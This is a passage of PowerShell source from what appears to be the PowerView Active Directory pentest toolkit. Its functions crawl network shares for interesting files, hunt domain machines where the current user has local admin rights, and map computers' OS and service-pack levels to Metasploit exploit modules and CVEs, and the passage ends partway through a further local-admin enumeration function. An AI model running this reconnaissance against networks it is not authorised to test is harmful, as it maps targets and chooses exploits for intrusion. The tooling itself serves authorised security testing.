$Path = '\\'+$ComputerName+'\'+$NetName

# make sure we get a real share name back

if (($NetName) -and ($NetName.trim() -ne '')) {

# skip this share if it's in the exclude list

if ($ExcludedShares -NotContains $NetName.ToUpper()) {

# check if the user has access to this path

try {

$Null = [IO.Directory]::GetFiles($Path)

$SearchShares += $Path

}

catch {

Write-Verbose "[!] No access to $Path"

}

}

}

}

}

}

ForEach($Share in $SearchShares) {

$SearchArgs = @{

'Path' = $Share

'SearchTerms' = $SearchTerms

'OfficeDocs' = $OfficeDocs

'FreshEXEs' = $FreshEXEs

'LastAccessTime' = $LastAccessTime

'LastWriteTime' = $LastWriteTime

'CreationTime' = $CreationTime

'ExcludeFolders' = $ExcludeFolders

'ExcludeHidden' = $ExcludeHidden

'CheckWriteAccess' = $CheckWriteAccess

'OutFile' = $OutFile

'UsePSDrive' = $UsePSDrive

}

Find-InterestingFile @SearchArgs

}

}

}

process {

if($Threads) {

Write-Verbose "Using threading with threads = $Threads"

# if we're using threading, kick off the script block with Invoke-ThreadedFunction

$ScriptParams = @{

'Ping' = $(-not $NoPing)

'ExcludedShares' = $ExcludedShares

'SearchTerms' = $SearchTerms

'ExcludeFolders' = $ExcludeFolders

'OfficeDocs' = $OfficeDocs

'ExcludeHidden' = $ExcludeHidden

'FreshEXEs' = $FreshEXEs

'CheckWriteAccess' = $CheckWriteAccess

'OutFile' = $OutFile

'UsePSDrive' = $UsePSDrive

}

# kick off the threaded script block + arguments

if($Shares) {

# pass the shares as the hosts so the threaded function code doesn't have to be hacked up

Invoke-ThreadedFunction -ComputerName $Shares -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

else {

Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

}

else {

if($Shares){

$ComputerName = $Shares

}

elseif(-not $NoPing -and ($ComputerName.count -gt 1)) {

# ping all hosts in parallel

$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}

$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100

}

Write-Verbose "[\*] Total number of active hosts: $($ComputerName.count)"

$Counter = 0

$ComputerName | Where-Object {$\_} | ForEach-Object {

Write-Verbose "Computer: $\_"

$Counter = $Counter + 1

# sleep for our semi-randomized interval

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

Write-Verbose "[\*] Enumerating server $\_ ($Counter of $($ComputerName.count))"

Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $\_, $False, $ExcludedShares, $SearchTerms, $ExcludeFolders, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $OutFile, $UsePSDrive

}

}

}

}

function Find-LocalAdminAccess {

<#

.SYNOPSIS

Finds machines on the local domain where the current user has

local administrator access. Uses multithreading to

speed up enumeration.

Author: @harmj0y

License: BSD 3-Clause

.DESCRIPTION

This function finds the local domain name for a host using Get-NetDomain,

queries the domain for all active machines with Get-NetComputer, then for

each server it checks if the current user has local administrator

access using Invoke-CheckLocalAdminAccess.

Idea stolen from the local\_admin\_search\_enum post module in

Metasploit written by:

'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'

'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'

'Royce Davis "r3dy" <rdavis[at]accuvant.com>'

.PARAMETER ComputerName

Host array to enumerate, passable on the pipeline.

.PARAMETER ComputerFile

File of hostnames/IPs to search.

.PARAMETER ComputerFilter

Host filter name to query AD for, wildcards accepted.

.PARAMETER ComputerADSpath

The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER NoPing

Switch. Don't ping each host to ensure it's up before enumerating.

.PARAMETER Delay

Delay between enumerating hosts, defaults to 0

.PARAMETER Jitter

Jitter for the host delay, defaults to +/- 0.3

.PARAMETER Domain

Domain to query for machines, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER SearchForest

Switch. Search all domains in the forest for target users instead of just

a single domain.

.PARAMETER Threads

The maximum concurrent threads to execute.

.EXAMPLE

PS C:\> Find-LocalAdminAccess

Find machines on the local domain where the current user has local

administrator access.

.EXAMPLE

PS C:\> Find-LocalAdminAccess -Threads 10

Multi-threaded access hunting, replaces Find-LocalAdminAccessThreaded.

.EXAMPLE

PS C:\> Find-LocalAdminAccess -Domain testing

Find machines on the 'testing' domain where the current user has

local administrator access.

.EXAMPLE

PS C:\> Find-LocalAdminAccess -ComputerFile hosts.txt

Find which machines in the host list the current user has local

administrator access.

.LINK

https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local\_admin\_search\_enum.rb

http://www.harmj0y.net/blog/penetesting/finding-local-admin-with-the-veil-framework/

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[Switch]

$NoPing,

[UInt32]

$Delay = 0,

[Double]

$Jitter = .3,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$SearchForest,

[ValidateRange(1,100)]

[Int]

$Threads

)

begin {

if ($PSBoundParameters['Debug']) {

$DebugPreference = 'Continue'

}

# random object for delay

$RandNo = New-Object System.Random

Write-Verbose "[\*] Running Find-LocalAdminAccess with delay of $Delay"

# if we're using a host list, read the targets in and add them to the target list

if($ComputerFile) {

$ComputerName = Get-Content -Path $ComputerFile

}

if(!$ComputerName) {

[array]$ComputerName = @()

if($Domain) {

$TargetDomains = @($Domain)

}

elseif($SearchForest) {

# get ALL the domains in the forest to search

$TargetDomains = Get-NetForestDomain | ForEach-Object { $\_.Name }

}

else {

# use the local domain

$TargetDomains = @( (Get-NetDomain).name )

}

ForEach ($Domain in $TargetDomains) {

Write-Verbose "[\*] Querying domain $Domain for hosts"

$ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController

}

# remove any null target hosts, uniquify the list and shuffle it

$ComputerName = $ComputerName | Where-Object { $\_ } | Sort-Object -Unique | Sort-Object { Get-Random }

if($($ComputerName.Count) -eq 0) {

throw "No hosts found!"

}

}

# script block that enumerates a server

$HostEnumBlock = {

param($ComputerName, $Ping)

$Up = $True

if($Ping) {

$Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName

}

if($Up) {

# check if the current user has local admin access to this server

$Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName

if ($Access.IsAdmin) {

$ComputerName

}

}

}

}

process {

if($Threads) {

Write-Verbose "Using threading with threads = $Threads"

# if we're using threading, kick off the script block with Invoke-ThreadedFunction

$ScriptParams = @{

'Ping' = $(-not $NoPing)

}

# kick off the threaded script block + arguments

Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads

}

else {

if(-not $NoPing -and ($ComputerName.count -ne 1)) {

# ping all hosts in parallel

$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}

$ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100

}

Write-Verbose "[\*] Total number of active hosts: $($ComputerName.count)"

$Counter = 0

ForEach ($Computer in $ComputerName) {

$Counter = $Counter + 1

# sleep for our semi-randomized interval

Start-Sleep -Seconds $RandNo.Next((1-$Jitter)\*$Delay, (1+$Jitter)\*$Delay)

Write-Verbose "[\*] Enumerating server $Computer ($Counter of $($ComputerName.count))"

Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False

}

}

}

}

function Get-ExploitableSystem {

<#

.Synopsis

This module will query Active Directory for the hostname, OS version, and service pack level

for each computer account. That information is then cross-referenced against a list of common

Metasploit exploits that can be used during penetration testing.

.DESCRIPTION

This module will query Active Directory for the hostname, OS version, and service pack level

for each computer account. That information is then cross-referenced against a list of common

Metasploit exploits that can be used during penetration testing. The script filters out disabled

domain computers and provides the computer's last logon time to help determine if it's been

decommissioned. Also, since the script uses data tables to output affected systems the results

can be easily piped to other commands such as test-connection or a Export-Csv.

.PARAMETER ComputerName

Return computers with a specific name, wildcards accepted.

.PARAMETER SPN

Return computers with a specific service principal name, wildcards accepted.

.PARAMETER OperatingSystem

Return computers with a specific operating system, wildcards accepted.

.PARAMETER ServicePack

Return computers with a specific service pack, wildcards accepted.

.PARAMETER Filter

A customized ldap filter string to use, e.g. "(description=\*admin\*)"

.PARAMETER Ping

Switch. Ping each host to ensure it's up before enumerating.

.PARAMETER Domain

The domain to query for computers, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER ADSpath

The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER Unconstrained

Switch. Return computer objects that have unconstrained delegation.

.PARAMETER PageSize

The PageSize to set for the LDAP searcher object.

.PARAMETER Credential

A [Management.Automation.PSCredential] object of alternate credentials

for connection to the target domain.

.EXAMPLE

The example below shows the standard command usage. Disabled system are excluded by default, but

the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't

logged on for two or more weeks it's been decommissioned.

PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize

[\*] Grabbing computer accounts from Active Directory...

[\*] Loading exploit list for critical missing patches...

[\*] Checking computers for vulnerable OS and SP levels...

[+] Found 5 potentially vulnerable systems!

ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE

------------ --------------- ----------- --------- --------- ---

ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07\_029\_msdns\_zonename http://www.cvedetails....

ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08\_067\_netapi http://www.cvedetails....

ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10\_061\_spoolss http://www.cvedetails....

LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07\_029\_msdns\_zonename http://www.cvedetails....

LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08\_067\_netapi http://www.cvedetails....

LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10\_061\_spoolss http://www.cvedetails....

assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08\_067\_netapi http://www.cvedetails....

assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10\_061\_spoolss http://www.cvedetails....

HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07\_029\_msdns\_zonename http://www.cvedetails....

HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08\_067\_netapi http://www.cvedetails....

HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10\_061\_spoolss http://www.cvedetails....

DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07\_029\_msdns\_zonename http://www.cvedetails....

DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08\_067\_netapi http://www.cvedetails....

DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10\_061\_spoolss http://www.cvedetails....

.EXAMPLE

PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation

How to write the output to a csv file.

.EXAMPLE

PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping

Return a set of live hosts from the testlab.local domain

.LINK

http://www.netspi.com

https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1

.NOTES

Author: Scott Sutherland - 2015, NetSPI

Modifications to integrate into PowerView by @harmj0y

Version: Get-ExploitableSystem.psm1 v1.1

Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount"

function found in Carols Perez's PoshSec-Mod project. The general idea is based off of

Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit.

#>

[CmdletBinding()]

Param(

[Parameter(ValueFromPipeline=$True)]

[Alias('HostName')]

[String]

$ComputerName = '\*',

[String]

$SPN,

[String]

$OperatingSystem = '\*',

[String]

$ServicePack = '\*',

[String]

$Filter,

[Switch]

$Ping,

[String]

$Domain,

[String]

$DomainController,

[String]

$ADSpath,

[Switch]

$Unconstrained,

[ValidateRange(1,10000)]

[Int]

$PageSize = 200,

[Management.Automation.PSCredential]

$Credential

)

Write-Verbose "[\*] Grabbing computer accounts from Active Directory..."

# Create data table for hostnames, os, and service packs from LDAP

$TableAdsComputers = New-Object System.Data.DataTable

$Null = $TableAdsComputers.Columns.Add('Hostname')

$Null = $TableAdsComputers.Columns.Add('OperatingSystem')

$Null = $TableAdsComputers.Columns.Add('ServicePack')

$Null = $TableAdsComputers.Columns.Add('LastLogon')

Get-NetComputer -FullData @PSBoundParameters | ForEach-Object {

$CurrentHost = $\_.dnshostname

$CurrentOs = $\_.operatingsystem

$CurrentSp = $\_.operatingsystemservicepack

$CurrentLast = $\_.lastlogon

$CurrentUac = $\_.useraccountcontrol

$CurrentUacBin = [convert]::ToString($\_.useraccountcontrol,2)

# Check the 2nd to last value to determine if its disabled

$DisableOffset = $CurrentUacBin.Length - 2

$CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1)

# Add computer to list if it's enabled

if ($CurrentDisabled -eq 0) {

# Add domain computer to data table

$Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast)

}

}

# Status user

Write-Verbose "[\*] Loading exploit list for critical missing patches..."

# ----------------------------------------------------------------

# Setup data table for list of msf exploits

# ----------------------------------------------------------------

# Create data table for list of patches levels with a MSF exploit

$TableExploits = New-Object System.Data.DataTable

$Null = $TableExploits.Columns.Add('OperatingSystem')

$Null = $TableExploits.Columns.Add('ServicePack')

$Null = $TableExploits.Columns.Add('MsfModule')

$Null = $TableExploits.Columns.Add('CVE')

# Add exploits to data table

$Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03\_007\_ntdll\_webdav","http://www.cvedetails.com/cve/2003-0109")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03\_007\_ntdll\_webdav","http://www.cvedetails.com/cve/2003-0109")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04\_011\_lsass","http://www.cvedetails.com/cve/2003-0533/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03\_007\_ntdll\_webdav","http://www.cvedetails.com/cve/2003-0109")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07\_029\_msdns\_zonename","http://www.cvedetails.com/cve/2007-1748")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04\_011\_lsass","http://www.cvedetails.com/cve/2003-0533/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06\_040\_netapi","http://www.cvedetails.com/cve/2006-3439")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06\_066\_nwapi","http://www.cvedetails.com/cve/2006-4688")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06\_070\_wkssvc","http://www.cvedetails.com/cve/2006-4691")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08\_067\_netapi","http://www.cvedetails.com/cve/2008-4250")

$Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03\_007\_ntdll\_webdav","http://www.cvedetails.com/cve/2003-0109")

$Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05\_039\_pnp","http://www.cvedetails.com/cve/2005-1983")

$Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07\_029\_msdns\_zonename","http://www.cvedetails.com/cve/2007-1748")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06\_040\_netapi","http://www.cvedetails.com/cve/2006-3439")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06\_066\_nwapi","http://www.cvedetails.com/cve/2006-4688")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08\_067\_netapi","http://www.cvedetails.com/cve/2008-4250")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07\_029\_msdns\_zonename","http://www.cvedetails.com/cve/2007-1748")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08\_067\_netapi","http://www.cvedetails.com/cve/2008-4250")

$Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06\_040\_netapi","http://www.cvedetails.com/cve/2006-3439")

$Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08\_067\_netapi","http://www.cvedetails.com/cve/2008-4250")

$Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04\_011\_lsass","http://www.cvedetails.com/cve/2003-0533/")

$Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06\_040\_netapi","http://www.cvedetails.com/cve/2006-3439")

$Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04\_045\_wins","http://www.cvedetails.com/cve/2004-1080/")

$Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09\_050\_smb2\_negotiate\_func\_index","http://www.cvedetails.com/cve/2009-3103")

$Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09\_050\_smb2\_negotiate\_func\_index","http://www.cvedetails.com/cve/2009-3103")

$Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09\_050\_smb2\_negotiate\_func\_index","http://www.cvedetails.com/cve/2009-3103")

$Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09\_050\_smb2\_negotiate\_func\_index","http://www.cvedetails.com/cve/2009-3103")

$Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09\_050\_smb2\_negotiate\_func\_index","http://www.cvedetails.com/cve/2009-3103")

$Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04\_011\_lsass","http://www.cvedetails.com/cve/2003-0533/")

$Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05\_039\_pnp","http://www.cvedetails.com/cve/2005-1983")

$Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06\_040\_netapi","http://www.cvedetails.com/cve/2006-3439")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06\_040\_netapi","http://www.cvedetails.com/cve/2006-3439")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06\_066\_nwapi","http://www.cvedetails.com/cve/2006-4688")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06\_070\_wkssvc","http://www.cvedetails.com/cve/2006-4691")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08\_067\_netapi","http://www.cvedetails.com/cve/2008-4250")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08\_067\_netapi","http://www.cvedetails.com/cve/2008-4250")

$Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10\_061\_spoolss","http://www.cvedetails.com/cve/2010-2729")

$Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03\_026\_dcom","http://www.cvedetails.com/cve/2003-0352/")

$Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05\_017\_msmq","http://www.cvedetails.com/cve/2005-0059")

$Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06\_040\_netapi","http://www.cvedetails.com/cve/2006-3439")

$Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08\_067\_netapi","http://www.cvedetails.com/cve/2008-4250")

# Status user

Write-Verbose "[\*] Checking computers for vulnerable OS and SP levels..."

# ----------------------------------------------------------------

# Setup data table to store vulnerable systems

# ----------------------------------------------------------------

# Create data table to house vulnerable server list

$TableVulnComputers = New-Object System.Data.DataTable

$Null = $TableVulnComputers.Columns.Add('ComputerName')

$Null = $TableVulnComputers.Columns.Add('OperatingSystem')

$Null = $TableVulnComputers.Columns.Add('ServicePack')

$Null = $TableVulnComputers.Columns.Add('LastLogon')

$Null = $TableVulnComputers.Columns.Add('MsfModule')

$Null = $TableVulnComputers.Columns.Add('CVE')

# Iterate through each exploit

$TableExploits | ForEach-Object {

$ExploitOS = $\_.OperatingSystem

$ExploitSP = $\_.ServicePack

$ExploitMsf = $\_.MsfModule

$ExploitCVE = $\_.CVE

# Iterate through each ADS computer

$TableAdsComputers | ForEach-Object {

$AdsHostname = $\_.Hostname

$AdsOS = $\_.OperatingSystem

$AdsSP = $\_.ServicePack

$AdsLast = $\_.LastLogon

# Add exploitable systems to vul computers data table

if ($AdsOS -like "$ExploitOS\*" -and $AdsSP -like "$ExploitSP" ) {

# Add domain computer to data table

$Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE)

}

}

}

# Display results

$VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object

$VulnComputerCount = $VulnComputer.Count

if ($VulnComputer.Count -gt 0) {

# Return vulnerable server list order with some hack date casting

Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!"

$TableVulnComputers | Sort-Object { $\_.lastlogon -as [datetime]} -Descending

}

else {

Write-Verbose "[-] No vulnerable systems were found."

}

}

function Invoke-EnumerateLocalAdmin {

<#

.SYNOPSIS

This function queries the domain for all active machines with

Get-NetComputer, then for each server it queries the local

Administrators with Get-NetLocalGroup.

Author: @harmj0y

License: BSD 3-Clause

.PARAMETER ComputerName

Host array to enumerate, passable on the pipeline.

.PARAMETER ComputerFile

File of hostnames/IPs to search.

.PARAMETER ComputerFilter

Host filter name to query AD for, wildcards accepted.

.PARAMETER ComputerADSpath

The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local"

Useful for OU queries.

.PARAMETER NoPing

Switch. Don't ping each host to ensure it's up before enumerating.

.PARAMETER Delay

Delay between enumerating hosts, defaults to 0

.PARAMETER Jitter

Jitter for the host delay, defaults to +/- 0.3

.PARAMETER OutFile

Output results to a specified csv output file.

.PARAMETER NoClobber

Switch. Don't overwrite any existing output file.

.PARAMETER TrustGroups

Switch. Only return results that are not part of the local machine

or the machine's domain. Old Invoke-EnumerateLocalTrustGroup

functionality.

.PARAMETER DomainOnly

Switch. Only return domain (non-local) results

.PARAMETER Domain

Domain to query for machines, defaults to the current domain.

.PARAMETER DomainController

Domain controller to reflect LDAP queries through.

.PARAMETER SearchForest

Switch. Search all domains in the forest for target users instead of just

a single domain.

.PARAMETER API

Switch. Use API calls instead of the WinNT service provider. Less information,

but the results are faster.

.PARAMETER Threads

The maximum concurrent threads to execute.

.EXAMPLE

PS C:\> Invoke-EnumerateLocalAdmin

Enumerates the members of local administrators for all machines

in the current domain.

.EXAMPLE

PS C:\> Invoke-EnumerateLocalAdmin -Threads 10

Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded

.LINK

http://blog.harmj0y.net/

#>

[CmdletBinding()]

param(

[Parameter(Position=0,ValueFromPipeline=$True)]

[Alias('Hosts')]

[String[]]

$ComputerName,

[ValidateScript({Test-Path -Path $\_ })]

[Alias('HostList')]

[String]

$ComputerFile,

[String]

$ComputerFilter,

[String]

$ComputerADSpath,

[Switch]

$NoPing,

[UInt32]

$Delay = 0,

[Double]

$Jitter = .3,

[String]

$OutFile,

[Switch]

$NoClobber,

[Switch]

$TrustGroups,

[Switch]

$DomainOnly,

[String]

$Domain,

[String]

$DomainController,

[Switch]

$SearchForest,

[ValidateRange(1,100)]

[Int]

$Threads,

[Switch]

$API

)

begin {

if ($PSBoundParameters['Debug']) {

